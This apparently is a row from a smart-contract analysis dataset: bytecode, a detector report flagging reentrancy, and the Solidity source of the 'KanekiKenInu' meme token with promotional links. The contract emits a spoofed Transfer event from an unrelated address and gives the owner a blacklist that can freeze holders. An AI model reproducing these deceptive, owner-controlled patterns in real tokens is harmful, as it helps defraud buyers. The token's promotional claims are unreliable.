0ed7576000600955600c54600a55600f546001600160a01b038481169116148015610da25750600e546001600160a01b03838116911614155b8015610dc757506001600160a01b03821660009081526005602052604090205460ff16155b8015610ddc5750600f54600160b81b900460ff165b15610e09576000610dec8361050d565b601054909150610dfc8383611159565b1115610e0757600080fd5b505b600f546001600160a01b038381169116148015610e345750600e546001600160a01b03848116911614155b8015610e5957506001600160a01b03831660009081526005602052604090205460ff16155b15610e6a576000600955600b54600a555b6000610e753061050d565b600f54909150600160a81b900460ff16158015610ea05750600f546001600160a01b03858116911614155b8015610eb55750600f54600160b01b900460ff165b15610ed557610ec381610fdf565b478015610ed357610ed347610f21565b505b505b610ee28383836111b8565b505050565b60008184841115610f0b5760405162461bcd60e51b81526004016103e491906115eb565b506000610f188486611900565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610854573d6000803e3d6000fd5b6000600754821115610fc25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103e4565b6000610fcc6111c3565b9050610fd883826111e6565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110275761102761186e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611080573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a49190611851565b816001815181106110b7576110b761186e565b6001600160a01b039283166020918202929092010152600e546110dd9130911684610ab3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611116908590600090869030904290600401611917565b600060405180830381600087803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111668385611988565b905083811015610fd85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e4565b610ee2838383611228565b60008060006111d061131f565b90925090506111df82826111e6565b9250505090565b6000610fd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611361565b60008060008060008061123a8761138f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126c90876113ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461129b9086611159565b6001600160a01b0389166000908152600260205260409020556112bd8161142e565b6112c78483611478565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130c91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061133b82826111e6565b82101561135857505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113825760405162461bcd60e51b81526004016103e491906115eb565b506000610f1884866119a0565b60008060008060008060008060006113ac8a600954600a5461149c565b92509250925060006113bc6111c3565b905060008060006113cf8e8787876114f1565b919e509c509a509598509396509194505050505091939550919395565b6000610fd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee7565b60006114386111c3565b905060006114468383611541565b306000908152600260205260409020549091506114639082611159565b30600090815260026020526040902055505050565b60075461148590836113ec565b6007556008546114959082611159565b6008555050565b60008080806114b660646114b08989611541565b906111e6565b905060006114c960646114b08a89611541565b905060006114e1826114db8b866113ec565b906113ec565b9992985090965090945050505050565b60008080806115008886611541565b9050600061150e8887611541565b9050600061151c8888611541565b9050600061152e826114db86866113ec565b939b939a50919850919650505050505050565b6000826115505750600061041c565b600061155c83856119c2565b90508261156985836119a0565b14610fd85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e4565b801515811461050a57600080fd5b6000602082840312156115e057600080fd5b8135610fd8816115c0565b600060208083528351808285015260005b81811015611618578581018301518582016040015282016115fc565b8181111561162a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050a57600080fd5b803561166081611640565b919050565b6000806040838503121561167857600080fd5b823561168381611640565b946020939093013593505050565b6000806000606084860312156116a657600080fd5b83356116b181611640565b925060208401356116c181611640565b929592945050506040919091013590565b6000602082840312156116e457600080fd5b8135610fd881611640565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561171857600080fd5b823567ffffffffffffffff8082111561173057600080fd5b818501915085601f83011261174457600080fd5b813581811115611756576117566116ef565b8060051b604051601f19603f8301168101818110858211171561177b5761177b6116ef565b60405291825284820192508381018501918883111561179957600080fd5b938501935b828510156117be576117af85611655565b8452938501939285019261179e565b98975050505050505050565b6000602082840312156117dc57600080fd5b5035919050565b600080604083850312156117f657600080fd5b823561180181611640565b9150602083013561181181611640565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561186357600080fd5b8151610fd881611640565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118ae576118ae611884565b5060010190565b6000806000606084860312156118ca57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118f557600080fd5b8151610fd8816115c0565b60008282101561191257611912611884565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119675784516001600160a01b031683529383019391830191600101611942565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199b5761199b611884565b500190565b6000826119bd57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119dc576119dc611884565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da8f8c0e15f776e7d1b852aed37836b1635691b305179e818162a2901fa61a5364736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,389 |
0xd3a8d7035e4b6ecf1f080527ff71903de8f57251 | /**
* Protect Human race, Escape Ghouls, Win the War
* Always keep $KanekiKenInu in your wallet to be protected against Ghouls attacks
* Solve riddles & win the prize - Game starting soon
* Not any anime token
* Join us on TG at t.me/KanekiKenInu
* Visit our website: http://www.KanekiKenInu.com
*/
/**
*Submitted for verification at
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KanekiKenInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "KanekiKenInu";
string private constant _symbol = "KanekiKenInu";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600c81526020017f4b616e656b694b656e496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4b616e656b694b656e496e750000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000